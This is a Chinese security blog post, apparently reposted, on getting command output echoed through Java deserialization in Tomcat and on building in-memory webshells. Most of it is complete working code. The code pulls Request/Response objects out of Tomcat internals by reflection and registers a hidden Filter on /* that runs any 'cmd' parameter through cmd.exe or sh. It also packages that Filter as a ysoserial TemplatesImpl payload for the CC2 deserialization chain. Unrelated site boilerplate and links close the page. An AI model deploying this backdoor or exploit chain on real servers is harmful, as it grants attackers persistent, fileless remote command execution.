Java安全之反序列化回显与内存马

Java安全之反序列化回显与内存马0x00前言按照我个人的理解来说其实只要能拿到Request和Response对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之反序列化回显与内存马

0x00 前言

按照我个人的理解来说其实只要能拿到Request Response对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在Tomcat 全局存储的Request Response对象,进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储Request Response对象的地方。

0x01 Tomcat通用回显

根据Litch1师傅的思路来寻找request,response对象全局存储的位置基于全局储存的新思路 | Tomcat的一种通用回显方法研究

根据该文章思路得知,在Tomcat启动的时候会调用该位置的dorun方法

Java安全之反序列化回显与内存马

由图可见,调用栈会来到创建Http11Processor对象这一步,Http11Processor继承AbstractProcessor类。而AbstractProcessor类中可见有RequestResponse这两对象。并且为final修饰的,赋值后不可被更改。

Java安全之反序列化回显与内存马

那么此时我们只需要获取到这个Http11Processor对象即可获取到RequestResponse。继续跟进查看Http11Processor对象在哪进行存储。

Java安全之反序列化回显与内存马

调用this.register将前面创建的Http11Processor对象进行传递。而后调用processor.getRequest().getRequestProcessor()获取RequestInfo

Java安全之反序列化回显与内存马

调用获取到的RequestInfo,这里为rp。rp的setGlobalProcessor将global进行传递,而setGlobalProcessor方法里面会调用global.addRequestProcessor将rp添加进去。

Java安全之反序列化回显与内存马

跟进进去发现,processors为一个ArrayList,里面存储RequestInfo类型的数据。

所以整体的思路下来我们需要获取AbstractProtocol$ConnectionHandler类 -> 获取global变量 ->RequestInfo->Request–>Response。

Java安全之反序列化回显与内存马

再往后需要寻找存储AbstractProtocol类或继承AbstractProtocol类的子类。

这里寻找到的是Connector成员变量中为protocolHandler属性的值,而 Http11AprProtocol类实现了该接口。

Java安全之反序列化回显与内存马

所以获取request的处理请求是

Connector—>AbstractProtocol$ConnectoinHandler—>global—>RequestInfo—>Request—>Response

而在Tomcat启动过程红会将Connector放入Service中。

Java安全之反序列化回显与内存马

而现在获取完成的流程是

StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)–>RequestInfo——->Request——–>Response

那么这时候如何获取StandardService成为了问题的一大关键。

文中给出的方法是从Thread.currentThread.getContextClassLoader()里面获取webappClassLoaderBase,再获取上下文中的 StandardService

最后调用链为

WebappClassLoaderBase —>

ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

package com;

import org.apache.catalina.Context;
import org.apache.catalina.Service;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.ArrayList;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            StandardService standardService = (StandardService)service.get(ApplicationContext);
            Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[])connectors.get(standardService);
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);
//            AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);


            Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();

            for (Class<?> aClass : AbstractProtocol_list) {
                if (aClass.getName().length()==52){

                    java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandlerMethod.setAccessible(true);

                    Field globalField = aClass.getDeclaredField("global");
                    globalField.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
                    Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req.setAccessible(true);
                    for (RequestInfo requestInfo : RequestInfo_list) {



                        org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);


                        org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
                        org.apache.catalina.connector.Response response2 = request2.getResponse();
                        response2.getWriter().write("111");


                    }
                }
            }


        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }


    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

Java安全之反序列化回显与内存马

这里是借助了获取到的RequestResponse来输出结果。再来修改一下代码。

package com;

import org.apache.catalina.Context;
import org.apache.catalina.Service;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.coyote.Response;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
import java.util.ArrayList;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            StandardService standardService = (StandardService)service.get(ApplicationContext);
            Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[])connectors.get(standardService);
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);
//            AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);


            Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();

            for (Class<?> aClass : AbstractProtocol_list) {
                if (aClass.getName().length()==52){

                    java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandlerMethod.setAccessible(true);

                    Field globalField = aClass.getDeclaredField("global");
                    globalField.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
                    Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req.setAccessible(true);
                    for (RequestInfo requestInfo : RequestInfo_list) {



                        org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);


                        org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
                        org.apache.catalina.connector.Response response2 = request2.getResponse();
                        response2.getWriter().write("111");
                        InputStream whoami = Runtime.getRuntime().exec("whoami").getInputStream();
//                        BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami);


                        BufferedInputStream bis = new BufferedInputStream(whoami);


                        int b ;
                        while ((b = bis.read())!=-1){
                            response2.getWriter().write(b);
                        }



                    }
                }
            }







        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }


    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

Java安全之反序列化回显与内存马

将命令执行结果使用获取到的RequestResponse来输出。

坑点记录

  1. 开始想直接获取内部类发现思路不通,后来采用getDeclaredClasses方法获取某类中所有内部的内部类遍历,判断类名传递定位到该类。
  2. 获取global遍历的时候出现了巨坑,直接反射去获取。但是未意识到创建是一个class对象,反射使用get方法必须传递实例。
  3. 获取到Request需要调用request.getNote(1);转换为org.apache.catalina.connector.Request的对象。
  4. fanal修饰变量,需做修改,直接获取报错。
通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象

文章链接

0x02 Tomcat半通用回显

基于Tomcat中一种半通用回显方法该篇文来调试一下。

根据前文思路顺着堆栈一路向下查看Request和Response存储位置,只要获取到一个实例即可。

顺着思路,在org.apache.catalina.core.ApplicationFilterChain位置发现符合条件的变量。

Java安全之反序列化回显与内存马

下面寻找赋值位置,发现在这个位置对request,response进行实例的存储。但是默认为False

Java安全之反序列化回显与内存马

思路如下:

1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,让代码逻辑走到if条件里面

2、初始化lastServicedRequestlastServicedResponse两个变量,默认为null

3、从lastServicedResponse中获取当前请求response,并且回显内容。

自己尝试构造了一下

package com;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@WebServlet("/testServlet")
public class testServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) {
        try {
            Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            wrap_same_object.setAccessible(true);
            //修改final
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

            boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
            ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
            ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);

            wrap_same_object.setBoolean(null,true);
            lastServicedRequest.set(null,new ThreadLocal<>());
            lastServicedResponse.set(null,new ThreadLocal<>());
            ServletResponse servletResponse = responseThreadLocal.get();
            servletResponse.getWriter().write("111");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }



    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);

    }
}

同理,可集成到yso中,反序列化命令执行结果借助该servletResponse。

Java安全之反序列化回显与内存马

局限

在shiro反序列化漏洞的利用中并不能成功,发现request,response的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的response。其原因是因为rememberMe功能的实现是使用了自己实现的filter。

0x03 内存马构造

前文的基于Tomcat实现内存马中只是借助Servlet直接去进行动态添加Filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。

下面再来构造一个完整的。

获取到ApplicationContext调用addFilter方法直接将恶意Filter添加进去发现并不行。

ApplicationContext.addFilter(filterName,new ShellIntInject());

Java安全之反序列化回显与内存马

断点处进行了判断,条件为true,会直接抛出异常。而这时候可以借助反射去进行修改。

Java安全之反序列化回显与内存马

Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
                state.setAccessible(true);
                state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

修改完成后,再来看到addFilter中,this.context.findFilterDef也就是寻找StandardContext中的filterDef,所以我们需要添加到filterConfigs filterDefs filterMaps

在添加filter前,通过反射设置成LifecycleState.STARTING_PREP,添加完成后,再把其恢复成LifecycleState.STARTE,需要恢复,否则可能导致服务不可用。

Java安全之反序列化回显与内存马

//添加拦截路径,实现是将存储写入到filterMap中
registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});

后面再来看到StandardContextfilterStart方法会遍历所有filterDefs实例化ApplicationFilterConfig添加到filterConfigs中

this.filterConfigs.clear();
            Iterator i$ = this.filterDefs.entrySet().iterator();
            while(i$.hasNext()) {
                Entry<String, FilterDef> entry = (Entry)i$.next();
                String name = (String)entry.getKey();
                if (this.getLogger().isDebugEnabled()) {
                    this.getLogger().debug(" Starting filter '" + name + "'");
                }

                try {
                    ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
                    this.filterConfigs.put(name, filterConfig);
                } catch (Throwable var8) {
                    Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
                    ExceptionUtils.handleThrowable(t);
                    this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
                    ok = false;
                }
            }
            return ok;
        }
    }

前面我们的调用addfilter方法的时候已经将 对应的filterDef给添加进去,我们只需要调用该方法即可实现filterConfig的添加。

 //调用filterStart方法将filterconfig进行添加
                Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
                filterStart.setAccessible(true);
                filterStart.invoke(standardContext,null);

最后,需要将filter位置进行调整。

Java安全之反序列化回显与内存马

Java安全之反序列化回显与内存马

在调试中途,部分代码抛出异常并没有直接执行state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);会导致tomcat直接503。无法进行正常访问,需重启。

完整代码

package com;

import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;

@WebServlet("/testServlet")
public class testServlet extends HttpServlet {
    private final String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "cmdFilter";

    protected void doPost(HttpServletRequest request, HttpServletResponse response) {
        try {
            Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            wrap_same_object.setAccessible(true);
            //修改final
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

            boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
            ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);
            ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);

            wrap_same_object.setBoolean(null,true);
            lastServicedRequest.set(null,new ThreadLocal<>());
            lastServicedResponse.set(null,new ThreadLocal<>());
            ServletResponse servletResponse = responseThreadLocal.get();
            ServletRequest servletRequest = requestThreadLocal.get();
            ServletContext servletContext = servletRequest.getServletContext();  //这里实际获取到的是ApplicationContextFacade
            if (servletContext!=null) {
                //编写恶意Filter
                class ShellIntInject implements javax.servlet.Filter{

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        System.out.println("s");
                        String cmd = servletRequest.getParameter(cmdParamName);
                        if(cmd!=null) {
                            String[] cmds = null;

                            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                cmds = new String[]{"cmd.exe", "/c", cmd};
                            } else {
                                cmds = new String[]{"sh", "-c", cmd};
                            }

                            java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                            java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
                            String output = s.hasNext() ? s.next() : "";
                            java.io.Writer writer = servletResponse.getWriter();
                            writer.write(output);
                            writer.flush();
                            writer.close();
                        }
                        filterChain.doFilter(request, response);
                    }

                    @Override
                    public void destroy() {

                    }
                }
                    //获取ApplicationContext
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);
                //获取standardContext
                Field context1 = ApplicationContext.getClass().getDeclaredField("context");
                context1.setAccessible(true);
                StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);
                //获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREP
                Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
                state.setAccessible(true);
                state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
                //注册filterName
                FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());
                //添加拦截路径,实现是将存储写入到filterMap中
                registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});
                //调用filterStart方法将filterconfig进行添加
                Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
                filterStart.setAccessible(true);
                filterStart.invoke(standardContext,null);
                //移动filter为位置到前面
                FilterMap[] filterMaps = standardContext.findFilterMaps();
                for (int i = 0; i < filterMaps.length; i++) {
                    if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
                        org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                        filterMaps[i] = filterMaps[0];
                        filterMaps[0] = filterMap;
                        break;
                    }
                }
                servletResponse.getWriter().write("Success");
                state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);


            }

        } catch (Exception e) {
            e.printStackTrace();
        }

    }



    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);

    }
}

但这并未完,虽然我们借助了代码执行获取到RequestResponse后构造内存马。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用。

0x04 改造yso

将前面代码扣下来,并且继承AbstractTranslet,后面需要使用TemplatesImpl类去动态加载该类。

package ysoserial.exploit;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;

public class TomcatShellIntInject extends AbstractTranslet {
    private final static String cmdParamName = "cmd";
    private final static String filterUrlPattern = "/*";
    private final static String filterName = "cmdFilter";

    static {
        try {
            Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);
            wrap_same_object.setAccessible(true);
            //修改final
            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

            boolean wrap_same_object1 = wrap_same_object.getBoolean(null);
            ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);
            ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);

            wrap_same_object.setBoolean(null, true);
            lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());
            lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());
            ServletResponse servletResponse = responseThreadLocal.get();
            ServletRequest servletRequest = requestThreadLocal.get();
            ServletContext servletContext = servletRequest.getServletContext();  //这里实际获取到的是ApplicationContextFacade
            if (servletContext != null) {
                //编写恶意Filter
                class ShellIntInject implements Filter {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

                        String cmd = servletRequest.getParameter(cmdParamName);
                        if (cmd != null) {
                            String[] cmds = null;

                            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                cmds = new String[]{"cmd.exe", "/c", cmd};
                            } else {
                                cmds = new String[]{"sh", "-c", cmd};
                            }

                            java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                            java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
                            String output = s.hasNext() ? s.next() : "";
                            java.io.Writer writer = servletResponse.getWriter();
                            writer.write(output);
                            writer.flush();
                            writer.close();
                        }
                        filterChain.doFilter(servletRequest, servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                }
                //获取ApplicationContext
                Field context = servletContext.getClass().getDeclaredField("context");
                context.setAccessible(true);
                ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext);
                //获取standardContext
                Field context1 = ApplicationContext.getClass().getDeclaredField("context");
                context1.setAccessible(true);
                StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);
                //获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREP
                Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
                state.setAccessible(true);
                state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                //注册filterName
                FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());
                //添加拦截路径,实现是将存储写入到filterMap中
                registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});
                //调用filterStart方法将filterconfig进行添加
                Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");
                filterStart.setAccessible(true);
                filterStart.invoke(standardContext, null);
                //移动filter为位置到前面
                FilterMap[] filterMaps = standardContext.findFilterMaps();
                for (int i = 0; i < filterMaps.length; i++) {
                    if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
                        org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
                        filterMaps[i] = filterMaps[0];
                        filterMaps[0] = filterMap;
                        break;
                    }
                }
                servletResponse.getWriter().write("Success");
                state.set(standardContext, org.apache.catalina.LifecycleState.STARTED);


            }

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}




yso中createTemplatesImpl稍做修改

public static Object createTemplatesImpl_shell ( final String command ) throws Exception {
        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
            return createTemplatesImpl(
                command,
                Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }

        return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }
    public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
        throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());

        final byte[]  classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);
//        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

这里拿cc2链来测试,复制cc2链代码。将getObject方法修改

final Object templates = Gadgets.createTemplatesImpl_shell(command);

github:https://github.com/nice0e3/ysoserial-master

但实际并不能直接使用,因为需要该回显要先修改属性,然后再进行获取回显。可截取出来分为2个包去发送。

0x05 Reference

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

Tomcat中一种半通用回显方法

基于tomcat的内存 Webshell 无文件攻击技术

Java Web代码执行漏洞回显总结

Shiro 550 漏洞学习 (二):内存马注入及回显

0x06 结尾

说到底,其实中间件回显就是获取Request Response对象,拿到以后借助拿到的Request Response对象进行回显,而内存马则是使用获取到的这两对象从而获取到Context进行动态添加Filter。而文中并没有去实现冰蝎等内存shell,而只实现了一个cmd的shell。同理,只需将恶意Fliter修改成冰蝎的shell即可。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119868.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • PHP常用的开发工具_小程序开发工具有哪些

    PHP常用的开发工具_小程序开发工具有哪些互联网的流行使得,软件程序发的需求也越来越大,其中PHP程序开发就是一个先例。PHP是英文超级文本预处理语言HypertextPreprocessor的缩写。PHP是一种HTML内嵌式的语言,

  • leetcode-49字母异位词分组(map)[通俗易懂]

    leetcode-49字母异位词分组(map)[通俗易懂]原题链接给定一个字符串数组,将字母异位词组合在一起。字母异位词指字母相同,但排列不同的字符串。示例:输入: [“eat”, “tea”, “tan”, “ate”, “nat”, “bat”]输出:[ [“ate”,”eat”,”tea”], [“nat”,”tan”], [“bat”]]说明:所有输入均为小写字母。不考虑答案输出的顺序。tclass Solution {public: vector<vector<string>> g

  • ExtJs自学教程(1):一切从API開始

